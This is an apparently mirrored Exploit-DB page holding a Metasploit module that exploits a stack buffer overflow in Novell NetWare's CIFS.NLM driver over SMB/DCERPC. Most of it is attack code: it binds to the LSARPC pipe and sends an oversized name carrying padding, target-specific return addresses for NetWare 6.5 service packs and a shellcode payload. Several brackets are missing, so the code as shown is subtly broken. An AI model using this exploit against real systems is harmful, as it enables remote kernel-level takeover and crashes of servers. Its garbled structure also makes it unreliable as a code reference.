Novell NetWare – LSASS CIFS.NLM Driver Stack Buffer Overflow (Metasploit)

Exploit Database
137 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- netware
来源：https://www.exploit-db.com/exploits/16832/

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# $Id: lsass_cifs.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::DCERPC

include Msf::Exploit::Remote::SMB

def initialize(info = {})

super(update_info(info,

'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.

Since the driver runs in the kernel space, a failed exploit attempt can

cause the OS to reboot.

'Author' =>

[

'toto',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2005-2852' ],

[ 'OSVDB', '12790' ]

'Privileged' => true,

'Payload'=>

{

'Space'=> 400,

'BadChars' => "\x00",

'Platform' => 'netware',

'Targets'=>

[

# NetWare SP can be found in the SNMP version :

# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)

[ 'VMware', { 'Ret' => 0x000f142b } ],

[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)

[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)

'DisclosureDate' => 'Jan 21 2007'))

register_options(

[

OptString.new('SMBPIPE', [ true,"The pipe name to use (LSARPC)", 'lsarpc'])

], self.class)

end

def exploit

# Force multi-bind off (netware doesn't support it)

datastore['DCERPC::fake_bind_multi'] = false

connect()

smb_login()

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")

dcerpc_bind(handle)

print_status("Bound to #{handle} ...")

stb =

NDR.long(rand(0xffffffff)) +

NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +

NDR.long(0) +

NDR.long(0x000f0fff)

resp = dcerpc.call(0x2c, stb)

handle, = resp[0,20]

code, = resp[20, 4].unpack('V')

name =

rand_text_alphanumeric(0xa0) +

[target.ret].pack('V') +

payload.encoded

stb =

handle +

NDR.long(1) +

NDR.short(name.length) +

NDR.long(rand(0xffffffff)) +

NDR.UnicodeConformantVaryingStringPreBuilt(name) +

NDR.long(0) +

NDR.long(1) +

NDR.long(0)

print_status("Calling the vulnerable function ...")

begin

dcerpc.call(0x0E, stb)

rescue

end

# Cleanup

handler

disconnect

end